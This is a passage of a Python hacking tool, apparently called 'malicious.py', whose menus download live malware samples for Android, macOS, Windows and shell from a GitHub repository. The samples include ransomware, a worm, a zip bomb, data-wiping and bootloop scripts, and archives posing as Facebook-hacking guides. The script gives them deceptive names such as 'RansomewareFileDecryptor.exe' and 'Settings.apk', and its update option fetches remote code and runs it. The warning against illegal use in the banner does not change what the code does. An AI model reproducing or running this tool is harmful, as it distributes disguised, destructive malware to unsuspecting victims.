int(r.headers['content-length']) 514 | filename = url.split('/')[-1] 515 | with open(filename, 'wb') as f: 516 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 517 | f.write(data) 518 | os.system("mv 'dendroid.apk?raw=true' Android/Dendroid.apk") 519 | print(fun)#####done 520 | 521 | elif menu1 == 36:####done 522 | print(""+G+"") 523 | chunk_size = 1024 524 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ds.apk?raw=true' 525 | r = requests.get(url, stream = True) 526 | size = int(r.headers['content-length']) 527 | filename = url.split('/')[-1] 528 | with open(filename, 'wb') as f: 529 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 530 | f.write(data) 531 | os.system("mv 'ds.apk?raw=true' Android/Ds.apk") 532 | print(fun)#####done 533 | 534 | elif menu1 == 37:####done 535 | print(""+G+"") 536 | chunk_size = 1024 537 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/facebook.apk?raw=true' 538 | r = requests.get(url, stream = True) 539 | size = int(r.headers['content-length']) 540 | filename = url.split('/')[-1] 541 | with open(filename, 'wb') as f: 542 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 543 | f.write(data) 544 | os.system("mv 'facebook.apk?raw=true' Android/Facebook.apk") 545 | print(fun)#####done 546 | 547 | elif menu1 == 38:####done 548 | print(""+G+"") 549 | chunk_size = 1024 550 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Fake_av.apk?raw=true' 551 | r = requests.get(url, stream = True) 552 | size = int(r.headers['content-length']) 553 | filename = url.split('/')[-1] 554 | with open(filename, 'wb') as f: 555 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 556 | f.write(data) 557 | os.system("mv 'Fake_av.apk?raw=true' Android/Fakeav.apk") 558 | print(fun)#####done 559 | 560 | elif menu1 == 39:####done 561 | print(""+G+"") 562 | chunk_size = 1024 563 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ArtStation.apk?raw=true' 564 | r = requests.get(url, stream = True) 565 | size = int(r.headers['content-length']) 566 | filename = url.split('/')[-1] 567 | with open(filename, 'wb') as f: 568 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 569 | f.write(data) 570 | os.system("mv 'ArtStation.apk?raw=true' Android/ArtStation.apk") 571 | print(fun)#####done 572 | 573 | elif menu1 == 40:####done 574 | print(""+G+"") 575 | chunk_size = 1024 576 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Adware.apk?raw=true' 577 | r = requests.get(url, stream = True) 578 | size = int(r.headers['content-length']) 579 | filename = url.split('/')[-1] 580 | with open(filename, 'wb') as f: 581 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 582 | f.write(data) 583 | os.system("mv 'Adware.apk?raw=true' Android/MusicPlayerAdware.apk") 584 | print(fun)#####done 585 | 586 | elif menu1 == 41:####done 587 | print(""+G+"") 588 | chunk_size = 1024 589 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/Settings.apk?raw=true' 590 | r = requests.get(url, stream = True) 591 | size = int(r.headers['content-length']) 592 | filename = url.split('/')[-1] 593 | with open(filename, 'wb') as f: 594 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 595 | f.write(data) 596 | os.system("mv 'Settings.apk?raw=true' Android/Settings.apk") 597 | print(fun)#####done 598 | 599 | elif menu1 == 42:####done 600 | print("\n") 601 | menu() 602 | else: 603 | print(""+R+"[!] wrong number") 604 | except Exception: 605 | print(""+R+"[!] This is not number") 606 | #################ANDROID DONE 607 | 608 | #################Start Macosx 609 | def Vmacosx(): 610 | print(""+O+"["+R+"1"+O+"] Trinoids") 611 | print(""+O+"["+R+"2"+O+"] Nothing") 612 | print(""+O+"["+R+"3"+O+"] Back") 613 | 614 | try: 615 | menu2 = input("Input number > "+R+"") 616 | if menu2 == 1: 617 | print(""+G+"") 618 | chunk_size = 1024 619 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/trinoids.app?raw=true' 620 | r = requests.get(url, stream = True) 621 | size = int(r.headers['content-length']) 622 | filename = url.split('/')[-1] 623 | with open(filename, 'wb') as f: 624 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 625 | f.write(data) 626 | os.system("mv 'trinoids.app?raw=true' Macosx/Trinoids.app") 627 | print(fun)#####done 628 | 629 | elif menu2 == 2: 630 | print(""+G+"") 631 | chunk_size = 1024 632 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/nothing.app?raw=true' 633 | r = requests.get(url, stream = True) 634 | size = int(r.headers['content-length']) 635 | filename = url.split('/')[-1] 636 | with open(filename, 'wb') as f: 637 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 638 | f.write(data) 639 | os.system("mv 'nothing.app?raw=true' Macosx/Nothing.app") 640 | print(fun)#####done 641 | elif menu2 == 3: 642 | print("\n") 643 | menu() 644 | else: 645 | print(""+R+"[!] wrong number") 646 | except Exception: 647 | print(""+R+"[!] This is not number") 648 | ####################Done Macosx 649 | 650 | ###################Start PC 651 | def vpcwin(): 652 | print(""+O+"["+R+"1"+O+"] Ugly.bat\t\t["+R+"5"+O+"] Koce.bat\t\t["+R+"9"+O+"] Ransomeware") 653 | print(""+O+"["+R+"2"+O+"] Sleepy.bat\t\t["+R+"6"+O+"] Cmd.bat\t\t["+R+"10"+O+"] Rip.bat") 654 | print(""+O+"["+R+"3"+O+"] Reg-eater.bat\t["+R+"7"+O+"] Capslock.vbs\t["+R+"11"+O+"] Back") 655 | print(""+O+"["+R+"4"+O+"] Kuis.bat\t\t["+R+"8"+O+"] Alay.vbs") 656 | 657 | try: 658 | menu3 = input("Input number > "+R+"") 659 | if menu3 == 1: 660 | print(""+G+"") 661 | chunk_size = 1024 662 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ugly.bat?raw=true' 663 | r = requests.get(url, stream = True) 664 | size = int(r.headers['content-length']) 665 | filename = url.split('/')[-1] 666 | with open(filename, 'wb') as f: 667 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 668 | f.write(data) 669 | os.system("mv 'ugly.bat?raw=true' Windows/Ugly.bat") 670 | print(fun)#####done 671 | 672 | elif menu3 == 2: 673 | print(""+G+"") 674 | chunk_size = 1024 675 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/sleepy.bat?raw=true' 676 | r = requests.get(url, stream = True) 677 | size = int(r.headers['content-length']) 678 | filename = url.split('/')[-1] 679 | with open(filename, 'wb') as f: 680 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 681 | f.write(data) 682 | os.system("mv 'sleepy.bat?raw=true' Windows/Sleepy.bat") 683 | print(fun)#####done 684 | 685 | elif menu3 == 3: 686 | print(""+G+"") 687 | chunk_size = 1024 688 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/reg-eater.bat?raw=true' 689 | r = requests.get(url, stream = True) 690 | size = int(r.headers['content-length']) 691 | filename = url.split('/')[-1] 692 | with open(filename, 'wb') as f: 693 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 694 | f.write(data) 695 | os.system("mv 'reg-eater.bat?raw=true' Windows/Reg-eater.bat") 696 | print(fun)#####done 697 | 698 | elif menu3 == 4: 699 | print(""+G+"") 700 | chunk_size = 1024 701 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/kuis.bat?raw=true' 702 | r = requests.get(url, stream = True) 703 | size = int(r.headers['content-length']) 704 | filename = url.split('/')[-1] 705 | with open(filename, 'wb') as f: 706 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 707 | f.write(data) 708 | os.system("mv 'kuis.bat?raw=true' Windows/Kuis.bat") 709 | print(fun)#####done 710 | 711 | elif menu3 == 5: 712 | print(""+G+"") 713 | chunk_size = 1024 714 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/koce.bat?raw=true' 715 | r = requests.get(url, stream = True) 716 | size = int(r.headers['content-length']) 717 | filename = url.split('/')[-1] 718 | with open(filename, 'wb') as f: 719 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 720 | f.write(data) 721 | os.system("mv 'koce.bat?raw=true' Windows/Koce.bat") 722 | print(fun)#####done 723 | 724 | elif menu3 == 6: 725 | print(""+G+"") 726 | chunk_size = 1024 727 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/cmd.bat?raw=true' 728 | r = requests.get(url, stream = True) 729 | size = int(r.headers['content-length']) 730 | filename = url.split('/')[-1] 731 | with open(filename, 'wb') as f: 732 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 733 | f.write(data) 734 | os.system("mv 'cmd.bat?raw=true' Windows/Cmd.bat") 735 | print(fun)#####done 736 | 737 | elif menu3 == 7: 738 | print(""+G+"") 739 | chunk_size = 1024 740 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/capslock.vbs?raw=true' 741 | r = requests.get(url, stream = True) 742 | size = int(r.headers['content-length']) 743 | filename = url.split('/')[-1] 744 | with open(filename, 'wb') as f: 745 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 746 | f.write(data) 747 | os.system("mv 'capslock.vbs?raw=true' Windows/Capslock.vbs") 748 | print(fun)#####done 749 | 750 | elif menu3 == 8: 751 | print(""+G+"") 752 | chunk_size = 1024 753 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/alay.vbs?raw=true' 754 | r = requests.get(url, stream = True) 755 | size = int(r.headers['content-length']) 756 | filename = url.split('/')[-1] 757 | with open(filename, 'wb') as f: 758 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 759 | f.write(data) 760 | os.system("mv 'alay.vbs?raw=true' Windows/Alay.vbs") 761 | print(fun)#####done 762 | 763 | elif menu3 == 9: 764 | print(""+G+"") 765 | chunk_size = 1024 766 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/ransomeware.exe?raw=true' 767 | r = requests.get(url, stream = True) 768 | size = int(r.headers['content-length']) 769 | filename = url.split('/')[-1] 770 | with open(filename, 'wb') as f: 771 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 772 | f.write(data) 773 | os.system("mv 'ransomeware.exe?raw=true' Windows/RansomewareFileDecryptor.exe") 774 | print(fun)#####done 775 | 776 | elif menu3 == 10: 777 | print(""+G+"") 778 | chunk_size = 1024 779 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/RIP.bat?raw=true' 780 | r = requests.get(url, stream = True) 781 | size = int(r.headers['content-length']) 782 | filename = url.split('/')[-1] 783 | with open(filename, 'wb') as f: 784 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 785 | f.write(data) 786 | os.system("mv 'RIP.bat?raw=true' Windows/RIP.bat") 787 | print(fun)#####done 788 | elif menu3 == 11: 789 | print("\n") 790 | menu() 791 | else: 792 | print(""+R+"[!] wrong number") 793 | except Exception: 794 | print(""+R+"[!] This is not number") 795 | 796 | #######################Done PC 797 | 798 | ####################start PDF 799 | def Vpdfautorunpc(): 800 | print(""+O+"["+R+"1"+O+"] How to hack facebook (ext: rar)") 801 | print(""+O+"["+R+"2"+O+"] Hack facebook (ext: rar)") 802 | print(""+O+"["+R+"3"+O+"] Back") 803 | 804 | try: 805 | menu4 = input("Input Number >"+R+" ") 806 | if menu4 == 1: 807 | print(""+G+"") 808 | chunk_size = 1024 809 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/howtohackfb.rar?raw=true' 810 | r = requests.get(url, stream = True) 811 | size = int(r.headers['content-length']) 812 | filename = url.split('/')[-1] 813 | with open(filename, 'wb') as f: 814 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 815 | f.write(data) 816 | os.system("mv 'howtohackfb.rar?raw=true' Pdf-autorun-windows/How-to-hack-facebook.rar") 817 | print(fun)#####done 818 | print("password: cracker\n") 819 | elif menu4 == 2: 820 | print(""+G+"") 821 | chunk_size = 1024 822 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/hackfacebook.rar?raw=true' 823 | r = requests.get(url, stream = True) 824 | size = int(r.headers['content-length']) 825 | filename = url.split('/')[-1] 826 | with open(filename, 'wb') as f: 827 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 828 | f.write(data) 829 | os.system("mv 'hackfacebook.rar?raw=true' Pdf-autorun-windows/Hack-facebook.rar") 830 | print(fun)#####done 831 | print("password: cracker\n") 832 | elif menu4 == 3: 833 | print("\n") 834 | menu() 835 | else: 836 | print(""+R+"[!] Wrong number") 837 | except NameError: 838 | print(""+R+"[!] This is not number") 839 | except Exception as err: 840 | print(""+R+"[!] This is not number") 841 | 842 | ######################Done pdf 843 | 844 | ############Worm and Bomb zip 845 | def Vother(): 846 | print(""+O+"["+R+"1"+O+"] Worm.bat") 847 | print(""+O+"["+R+"2"+O+"] Bomb.zip") 848 | print(""+O+"["+R+"3"+O+"] Back") 849 | 850 | try: 851 | menu5 = input("Input number > "+R+"") 852 | if menu5 == 1: 853 | print(""+G+"") 854 | chunk_size = 1024 855 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/worm.bat?raw=true' 856 | r = requests.get(url, stream = True) 857 | size = int(r.headers['content-length']) 858 | filename = url.split('/')[-1] 859 | with open(filename, 'wb') as f: 860 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 861 | f.write(data) 862 | os.system("mv 'worm.bat?raw=true' Worm-and-Bombzip/worm.bat") 863 | print(fun)#####done 864 | 865 | elif menu5 == 2: 866 | print(""+G+"") 867 | chunk_size = 1024 868 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/bom-zip.zip?raw=true' 869 | r = requests.get(url, stream = True) 870 | size = int(r.headers['content-length']) 871 | filename = url.split('/')[-1] 872 | with open(filename, 'wb') as f: 873 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 874 | f.write(data) 875 | os.system("mv 'bom-zip.zip?raw=true' Worm-and-Bombzip/Bomb.zip") 876 | print(fun)#####done 877 | 878 | elif menu5 == 3: 879 | print("\n") 880 | menu() 881 | else: 882 | print(""+R+"[!] wrong number") 883 | except Exception: 884 | print(""+R+"[!] This is not number") 885 | 886 | ###############Start Shell Virus 887 | def Shellvirus(): 888 | print(""+O+"["+R+"1"+O+"] Data-Eater.sh") 889 | print(""+O+"["+R+"2"+O+"] Bootloop.sh") 890 | print(""+O+"["+R+"3"+O+"] Back") 891 | 892 | try: 893 | menu6 = input("Input number > "+R+"") 894 | if menu6 == 1: 895 | print(""+G+"") 896 | chunk_size = 1024 897 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/data-eater.sh?raw=true' 898 | r = requests.get(url, stream = True) 899 | size = int(r.headers['content-length']) 900 | filename = url.split('/')[-1] 901 | with open(filename, 'wb') as f: 902 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 903 | f.write(data) 904 | os.system("mv 'data-eater.sh?raw=true' Shell-virus/Data-Eater.sh") 905 | print(fun)#####done 906 | 907 | elif menu6 == 2: 908 | print(""+G+"") 909 | chunk_size = 1024 910 | url = 'https://github.com/Ractomes/Viruses/blob/master/samples/bootloop.sh?raw=true' 911 | r = requests.get(url, stream = True) 912 | size = int(r.headers['content-length']) 913 | filename = url.split('/')[-1] 914 | with open(filename, 'wb') as f: 915 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 916 | f.write(data) 917 | os.system("mv 'bootloop.sh?raw=true' Shell-virus/Bootloop.sh") 918 | print(fun)#####done 919 | elif menu6 == 3: 920 | print("\n") 921 | menu() 922 | else: 923 | print(""+R+"[!] wrong number") 924 | except Exception: 925 | print(""+R+"[!] This is not number") 926 | 927 | def banner2(): 928 | print(""+G+"Please do"+R+" NOT "+G+"use this tool for illegal activity") 929 | print(""+R+"[!] "+G+"Keep legal don't illegal "+R+" [!]"+O+"") 930 | def menu(): 931 | print("\n"+R+"[========== Menu ==========]"+O+"") 932 | print(""+O+"["+R+"1"+O+"] Android\t\t["+R+"4"+O+"] Pdf Autorun PC\t\t["+R+"7"+O+"] Update tool") 933 | print(""+O+"["+R+"2"+O+"] Macosx\t\t["+R+"5"+O+"] Other\t\t\t["+R+"8"+O+"] About") 934 | print(""+O+"["+R+"3"+O+"] Windows\t\t["+R+"6"+O+"] Shell\t\t\t["+R+"9"+O+"] Exit") 935 | try: 936 | menu = input("\nInput Number > "+R+"") 937 | if menu == 1: 938 | os.system("clear") 939 | Vandroid() 940 | elif menu == 2: 941 | os.system("clear") 942 | Vmacosx() 943 | elif menu == 3: 944 | os.system("clear") 945 | vpcwin() 946 | elif menu == 4: 947 | os.system("clear") 948 | Vpdfautorunpc() 949 | elif menu == 5: 950 | os.system("clear") 951 | Vother() 952 | elif menu == 6: 953 | os.system("clear") 954 | Shellvirus() 955 | elif menu == 7: 956 | os.system("clear") 957 | print(""+G+"") 958 | chunk_size = 1024 959 | url = 'https://github.com/Hider5/Malicious/blob/master/malicious.py?raw=true' 960 | r = requests.get(url, stream = True) 961 | size = int(r.headers['content-length']) 962 | filename = url.split('/')[-1] 963 | with open(filename, 'wb') as f: 964 | for data in tqdm(iterable = r.iter_content(chunk_size = chunk_size),total = size/chunk_size, unit = ' KB'): 965 | f.write(data) 966 | os.system("mv 'malicious.py?raw=true' malicious.py") 967 | os.system("python2 malicious.py") 968 | elif menu == 8: 969 | os.system("clear") 970 | about() 971 | elif menu == 9: 972 | fontcolor() 973 | os.system("clear") 974 | sys.exit() 975 | else: 976 | print(""+R+"[!] wrong number") 977 | except Exception: 978 | print(""+R+"[!] This is not number") 979 | 980 | if __name__ == "__main__": 981 | 982 | os.system("clear") 983 | banner() 984 | banner2() 985 | menu() 986 | fontcolor() 987 | sys.exit() 988 | 989 | 990 | 991 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | tqdm --------------------------------------------------------------------------------